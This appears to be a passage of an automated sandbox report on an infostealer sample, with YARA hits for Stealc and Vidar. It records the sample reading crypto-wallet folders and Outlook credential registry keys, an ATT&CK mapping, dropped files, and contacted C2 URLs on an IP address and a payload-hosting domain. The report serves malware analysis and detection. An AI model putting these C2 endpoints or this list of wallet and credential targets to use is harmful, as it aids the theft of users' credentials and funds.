Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\X9d3758tok.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\X9d3758tok.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: X9d3758tok.exe PID: 7484, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.X9d3758tok.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.X9d3758tok.exe.23e0e67.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.X9d3758tok.exe.2540000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.X9d3758tok.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.X9d3758tok.exe.23e0e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.X9d3758tok.exe.2540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2251891155.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: X9d3758tok.exe PID: 7484, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: X9d3758tok.exe PID: 7484, type: MEMORYSTR

Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7F0C40 sqlite3_bind_zeroblob,	0_2_6C7F0C40
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7F0D60 sqlite3_bind_parameter_name,	0_2_6C7F0D60
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C718EA0 sqlite3_clear_bindings,	0_2_6C718EA0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7F0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C7F0B40
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C716410 bind,WSAGetLastError,	0_2_6C716410
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C716070 PR_Listen,	0_2_6C716070
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C71C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C71C050
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C71C030 sqlite3_bind_parameter_count,	0_2_6C71C030
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7160B0 listen,WSAGetLastError,	0_2_6C7160B0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C6A22D0 sqlite3_bind_blob,	0_2_6C6A22D0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7163C0 PR_Bind,	0_2_6C7163C0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C719400 sqlite3_bind_int64,	0_2_6C719400
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7194F0 sqlite3_bind_text16,	0_2_6C7194F0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C7194C0 sqlite3_bind_text,	0_2_6C7194C0
Source: C:\Users\user\Desktop\X9d3758tok.exe	Code function: 0_2_6C719480 sqlite3_bind_null,	0_2_6C719480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 File and Directory Permissions Modification	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 Create Account	1 DLL Side-Loading	111 Disable or Modify Tools	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Windows Service	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Windows Service	1 Abuse Elevation Control Mechanism	NTDS	156 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	111 Process Injection	3 Obfuscated Files or Information	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	23 Software Packing	Cached Domain Credentials	451 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	451 Virtualization/Sandbox Evasion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	111 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
X9d3758tok.exe	45%	ReversingLabs	Win32.Trojan.CrypterX
X9d3758tok.exe	44%	Virustotal		Browse
X9d3758tok.exe	100%	Avira	HEUR/AGEN.1306956
X9d3758tok.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_93[1].exe	100%	Avira	HEUR/AGEN.1362845
C:\ProgramData\Google\Chrome\updater.exe	100%	Avira	HEUR/AGEN.1362845
C:\ProgramData\BAAEHDBFID.exe	100%	Avira	HEUR/AGEN.1362845
C:\ProgramData\BAAEHDBFID.exe	37%	ReversingLabs	Win64.Trojan.Cerbu
C:\ProgramData\Google\Chrome\updater.exe	37%	ReversingLabs	Win64.Trojan.Cerbu
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_93[1].exe	37%	ReversingLabs	Win64.Trojan.Cerbu
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
plus.l.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
campuspersever.es	7%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?eom=1	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plus.l.google.com	142.250.185.142	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.185.78	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.186.100	true	false	0%, Virustotal, Browse	unknown
campuspersever.es	87.106.236.48	true	false	7%, Virustotal, Browse	unknown
apis.google.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://77.83.175.105/4db719b1f2f948b0/softokn3.dll	true	unknown
https://campuspersever.es/chrome_93.exe	true	unknown
http://77.83.175.105/4db719b1f2f948b0/nss3.dll	true	unknown
http://77.83.175.105/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	X9d3758tok.exe, 00000000.00000003.1843605420.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	X9d3758tok.exe, 00000000.00000003.1843605420.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.83.175.105/4db719b1f2f948b0/sqlite3.dll3	X9d3758tok.exe, 00000000.00000002.2251891155.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	X9d3758tok.exe, 00000000.00000002.2251891155.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/C	chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1758078755.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758224372.0000283800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757679198.000028380100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758666889.0000283800320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758130592.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758033488.0000283800C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758929445.0000283801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757266613.0000283800F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757243158.0000283801040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757095333.0000283800FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757210975.0000283800FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1747542244.0000283800494000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/F	chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000002.00000003.1748378008.000001F936872000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1748378008.000001F93680E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7714	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://77.83.175.10518a9a962225b1ffb.phpition:	X9d3758tok.exe, 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/H	chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/O	chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/yq	chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1758666889.0000283800320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758929445.0000283801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://77.83.175.105/4db719b1f2f948b0/mozglue.dllk	X9d3758tok.exe, 00000000.00000002.2251891155.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/U	chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/zp	chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17icrosoft	X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000002.00000003.1748378008.000001F9368C2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	X9d3758tok.exe, 00000000.00000002.2251891155.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/e	chrome.exe, 00000001.00000003.1778683595.0000283801A48000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1752753455.0000283800C78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1747542244.0000283800494000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1758078755.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758224372.0000283800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757679198.000028380100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758666889.0000283800320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758130592.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758033488.0000283800C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758929445.0000283801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757266613.0000283800F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757243158.0000283801040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757095333.0000283800FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757210975.0000283800FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview	chrome.exe, 00000001.00000003.1780677754.0000283801554000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1780512246.000028380154C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1780468692.0000283801548000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1780553425.0000283801550000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	X9d3758tok.exe, 00000000.00000003.1843605420.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000002.00000002.2137852569.000001F936600000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	X9d3758tok.exe, 00000000.00000002.2251891155.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://77.83.175.105/18a9a962225b1ffb.phpition:	X9d3758tok.exe, 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	X9d3758tok.exe, 00000000.00000003.1843605420.0000000000915000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1747542244.0000283800494000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000003.1747542244.0000283800494000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000001.00000003.1758224372.0000283800F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774637392.0000283800F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1784394223.0000283800F6C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
